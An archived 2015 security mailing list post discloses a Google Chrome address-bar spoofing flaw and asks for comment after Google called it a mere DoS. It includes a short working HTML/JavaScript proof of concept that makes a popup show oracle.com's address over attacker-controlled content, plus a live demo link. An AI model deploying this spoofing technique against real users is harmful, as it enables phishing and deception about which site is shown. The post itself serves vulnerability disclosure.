bugtraq - Google Chrome Address Spoofing (Request For Comment)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <55923253.8020902@deusen.co.uk>
Date: Tue, 30 Jun 2015 07:08:19 +0100
From: David Leo <david.leo@...sen.co.uk>
To: bugtraq@...urityfocus.com, fulldisclosure@...lists.org,
  oss-security@...ts.openwall.com
Subject: Google Chrome Address Spoofing (Request For Comment)

Impact:
The "click to verify" thing is completely broken...
Anyone can be "BBB Accredited Business" etc.
You can make whitehouse.gov display "We love Islamic State" :-)

Note:
No user interaction on the fake page.

Code:
***** index.html
<script>
function next()
{
	w.location.replace('http://www.oracle.com/index.html?'+n);n++;
	setTimeout("next();",15);
	setTimeout("next();",25);
}
function f()
{
	w=window.open("content.html","_blank","width=500 height=500");
	i=setInterval("try{x=w.location.href;}catch(e){clearInterval(i);n=0;next();}",5);
}
</script>
<a href="#" onclick="f()">Go</a><br>
***** content.html
<b>This web page is NOT oracle.com</b>
<script>location="http://www.oracle.com/index.html";</script>
***** It's online
http://www.deusen.co.uk/items/gwhere.6128645971389012/
(The page says "June/16/2015" - it works as we tested today)

Request For Comment:
We reported this to Google.
They reproduced, and say
It's DoS which doesn't matter.
We think it's very strange,
since the browser does not crash(not DoS),
and the threat is obvious.
What's your opinion?

Kind Regards,

PS
We love clever tricks.
We love this:
http://dieyu.org/